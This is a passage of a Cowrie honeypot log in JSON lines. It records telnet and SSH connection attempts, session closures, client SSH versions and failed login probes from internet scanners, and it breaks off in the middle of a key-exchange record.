{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":39978,"dst_ip":"159.203.135.109","dst_port":23,"session":"8200af5b5d1f","protocol":"telnet","message":"New connection: 143.198.154.150:39978 (159.203.135.109:23) [session: 8200af5b5d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:29.832993Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:30.845526Z","src_ip":"91.92.40.4","session":"fdc869d391d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.03263759613037,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:31.233179Z","src_ip":"107.6.151.170","session":"5bdc112ff5bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.37775421142578,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:35.615909Z","src_ip":"170.64.224.25","session":"2e216de0f341","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.982924461364746,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:36.234804Z","src_ip":"107.6.151.170","session":"c4af2773642a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48186,"dst_ip":"10.17.0.5","dst_port":22,"session":"600ed832bdab","protocol":"ssh","message":"New connection: 8.210.75.243:48186 (10.17.0.5:22) [session: 600ed832bdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:40.827448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:40.831402Z","src_ip":"8.210.75.243","session":"600ed832bdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.382097005844116,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:41.214971Z","src_ip":"143.198.154.150","session":"8200af5b5d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":29664,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3bb75ea6d95","protocol":"telnet","message":"New connection: 34.79.13.98:29664 (10.17.0.5:23) [session: a3bb75ea6d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:44.180279Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":29674,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9227462a29","protocol":"telnet","message":"New connection: 34.79.13.98:29674 (10.17.0.5:23) [session: ff9227462a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:44.334438Z"}
{"eventid":"cowrie.session.closed","duration":0.0067596435546875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:44.341040Z","src_ip":"34.79.13.98","session":"ff9227462a29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":29678,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bb985435656","protocol":"telnet","message":"New connection: 34.79.13.98:29678 (10.17.0.5:23) [session: 6bb985435656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:44.492292Z"}
{"eventid":"cowrie.session.closed","duration":60.044095516204834,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:49.571506Z","src_ip":"170.64.224.25","session":"aeeba9d5454b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.16165113449097,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:51.221981Z","src_ip":"170.64.224.25","session":"ff79baec414a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:52.324838Z","src_ip":"8.210.75.243","session":"17021b73271d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55438,"dst_ip":"10.17.0.5","dst_port":23,"session":"289e003f55b7","protocol":"telnet","message":"New connection: 34.79.13.98:55438 (10.17.0.5:23) [session: 289e003f55b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:53.649725Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:53.653596Z","src_ip":"34.79.13.98","session":"289e003f55b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:53.656395Z","src_ip":"34.79.13.98","session":"289e003f55b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08642196655273438,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:53.736047Z","src_ip":"34.79.13.98","session":"289e003f55b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55452,"dst_ip":"10.17.0.5","dst_port":23,"session":"2241b124b595","protocol":"telnet","message":"New connection: 34.79.13.98:55452 (10.17.0.5:23) [session: 2241b124b595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:53.809042Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55458,"dst_ip":"10.17.0.5","dst_port":23,"session":"97bc80b9455c","protocol":"telnet","message":"New connection: 34.79.13.98:55458 (10.17.0.5:23) [session: 97bc80b9455c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:53.962967Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55464,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a798fcd630","protocol":"telnet","message":"New connection: 34.79.13.98:55464 (10.17.0.5:23) [session: 57a798fcd630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:54.115643Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55472,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb138faa3e2","protocol":"telnet","message":"New connection: 34.79.13.98:55472 (10.17.0.5:23) [session: feb138faa3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:54.269335Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55480,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd7f220409c","protocol":"telnet","message":"New connection: 34.79.13.98:55480 (10.17.0.5:23) [session: 2dd7f220409c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:54.423185Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c66270c76c30","protocol":"telnet","message":"New connection: 34.79.13.98:55488 (10.17.0.5:23) [session: c66270c76c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:54.578146Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55504,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd8bd86de403","protocol":"telnet","message":"New connection: 34.79.13.98:55504 (10.17.0.5:23) [session: dd8bd86de403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:54.732530Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55506,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd04235d6f4","protocol":"telnet","message":"New connection: 34.79.13.98:55506 (10.17.0.5:23) [session: 7cd04235d6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:54.886960Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f23f201d0168","protocol":"telnet","message":"New connection: 34.79.13.98:55508 (10.17.0.5:23) [session: f23f201d0168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:55.043754Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55518,"dst_ip":"10.17.0.5","dst_port":23,"session":"162b97d3e273","protocol":"telnet","message":"New connection: 34.79.13.98:55518 (10.17.0.5:23) [session: 162b97d3e273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:55.276566Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55520,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e1361fc48eb","protocol":"telnet","message":"New connection: 34.79.13.98:55520 (10.17.0.5:23) [session: 0e1361fc48eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:55.431589Z"}
{"eventid":"cowrie.session.closed","duration":0.0065767765045166016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:55.438068Z","src_ip":"34.79.13.98","session":"0e1361fc48eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55528,"dst_ip":"10.17.0.5","dst_port":23,"session":"445ce5939f77","protocol":"telnet","message":"New connection: 34.79.13.98:55528 (10.17.0.5:23) [session: 445ce5939f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:55.589194Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55538,"dst_ip":"10.17.0.5","dst_port":23,"session":"b625b6de9599","protocol":"telnet","message":"New connection: 34.79.13.98:55538 (10.17.0.5:23) [session: b625b6de9599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:55.744445Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55542,"dst_ip":"10.17.0.5","dst_port":23,"session":"0854aaf715ca","protocol":"telnet","message":"New connection: 34.79.13.98:55542 (10.17.0.5:23) [session: 0854aaf715ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:55.898447Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55548,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cfe6eadf238","protocol":"telnet","message":"New connection: 34.79.13.98:55548 (10.17.0.5:23) [session: 4cfe6eadf238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.053240Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55558,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c276dc40ec6","protocol":"telnet","message":"New connection: 34.79.13.98:55558 (10.17.0.5:23) [session: 3c276dc40ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.208529Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55564,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc174c97ccfb","protocol":"telnet","message":"New connection: 34.79.13.98:55564 (10.17.0.5:23) [session: fc174c97ccfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.363444Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55570,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca60ceaad9c","protocol":"telnet","message":"New connection: 34.79.13.98:55570 (10.17.0.5:23) [session: 9ca60ceaad9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.518277Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55584,"dst_ip":"10.17.0.5","dst_port":23,"session":"584d385df2c0","protocol":"telnet","message":"New connection: 34.79.13.98:55584 (10.17.0.5:23) [session: 584d385df2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.672455Z"}
{"eventid":"cowrie.session.closed","duration":0.21899724006652832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.737157Z","src_ip":"34.79.13.98","session":"9ca60ceaad9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5314774513244629,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.739820Z","src_ip":"34.79.13.98","session":"3c276dc40ec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.6892821788787842,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.742383Z","src_ip":"34.79.13.98","session":"4cfe6eadf238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8462154865264893,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.744578Z","src_ip":"34.79.13.98","session":"0854aaf715ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0043377876281738,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.748575Z","src_ip":"34.79.13.98","session":"b625b6de9599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1613309383392334,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.750416Z","src_ip":"34.79.13.98","session":"445ce5939f77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4762558937072754,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.752572Z","src_ip":"34.79.13.98","session":"162b97d3e273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7114698886871338,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.755079Z","src_ip":"34.79.13.98","session":"f23f201d0168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.872018814086914,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.758850Z","src_ip":"34.79.13.98","session":"7cd04235d6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0288989543914795,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.761235Z","src_ip":"34.79.13.98","session":"dd8bd86de403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.339655637741089,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.762706Z","src_ip":"34.79.13.98","session":"2dd7f220409c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.18613338470459,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.764192Z","src_ip":"34.79.13.98","session":"c66270c76c30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4968767166137695,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.766057Z","src_ip":"34.79.13.98","session":"feb138faa3e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.656276226043701,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.771779Z","src_ip":"34.79.13.98","session":"57a798fcd630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.812175750732422,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.775017Z","src_ip":"34.79.13.98","session":"97bc80b9455c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9684858322143555,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.777412Z","src_ip":"34.79.13.98","session":"2241b124b595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.42428088188171387,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.787627Z","src_ip":"34.79.13.98","session":"fc174c97ccfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.32142448425293,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.813542Z","src_ip":"34.79.13.98","session":"6bb985435656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.63714337348938,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.817247Z","src_ip":"34.79.13.98","session":"a3bb75ea6d95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55592,"dst_ip":"10.17.0.5","dst_port":23,"session":"8516e20acc58","protocol":"telnet","message":"New connection: 34.79.13.98:55592 (10.17.0.5:23) [session: 8516e20acc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.826606Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.831837Z","src_ip":"34.79.13.98","session":"8516e20acc58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55600,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec0205d7ced","protocol":"telnet","message":"New connection: 34.79.13.98:55600 (10.17.0.5:23) [session: 8ec0205d7ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:56.985590Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55608,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc76327d707","protocol":"telnet","message":"New connection: 34.79.13.98:55608 (10.17.0.5:23) [session: 8bc76327d707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:57.141613Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55610,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dbfb731888f","protocol":"telnet","message":"New connection: 34.79.13.98:55610 (10.17.0.5:23) [session: 0dbfb731888f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:57.297895Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55626,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2ba31a41479","protocol":"telnet","message":"New connection: 34.79.13.98:55626 (10.17.0.5:23) [session: c2ba31a41479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:57.452199Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55640,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a1de2606065","protocol":"telnet","message":"New connection: 34.79.13.98:55640 (10.17.0.5:23) [session: 2a1de2606065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:57.606373Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55646,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c5c12df312c","protocol":"telnet","message":"New connection: 34.79.13.98:55646 (10.17.0.5:23) [session: 9c5c12df312c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:57.760835Z"}
{"eventid":"cowrie.session.closed","duration":0.004350423812866211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:57.765070Z","src_ip":"34.79.13.98","session":"9c5c12df312c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55662,"dst_ip":"10.17.0.5","dst_port":23,"session":"41757097d159","protocol":"telnet","message":"New connection: 34.79.13.98:55662 (10.17.0.5:23) [session: 41757097d159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:57.915234Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55670,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c3d79ac503","protocol":"telnet","message":"New connection: 34.79.13.98:55670 (10.17.0.5:23) [session: 25c3d79ac503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:58.068783Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 3099","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 3099] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:58.072881Z","src_ip":"34.79.13.98","session":"25c3d79ac503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.13.98","src_port":55686,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4f783f2b4c","protocol":"telnet","message":"New connection: 34.79.13.98:55686 (10.17.0.5:23) [session: 9f4f783f2b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:58.225130Z"}
{"eventid":"cowrie.session.closed","duration":0.006819486618041992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:58.231830Z","src_ip":"34.79.13.98","session":"9f4f783f2b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38444,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fd41939d971","protocol":"telnet","message":"New connection: 170.64.224.25:38444 (159.203.135.109:23) [session: 1fd41939d971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:01.184559Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38456,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3004c2b46d6","protocol":"telnet","message":"New connection: 170.64.224.25:38456 (159.203.135.109:23) [session: a3004c2b46d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:03.955946Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":54644,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc788f09eb94","protocol":"ssh","message":"New connection: 159.65.58.200:54644 (159.203.135.109:22) [session: bc788f09eb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:07.092695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:07.296636Z","src_ip":"159.65.58.200","session":"bc788f09eb94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-51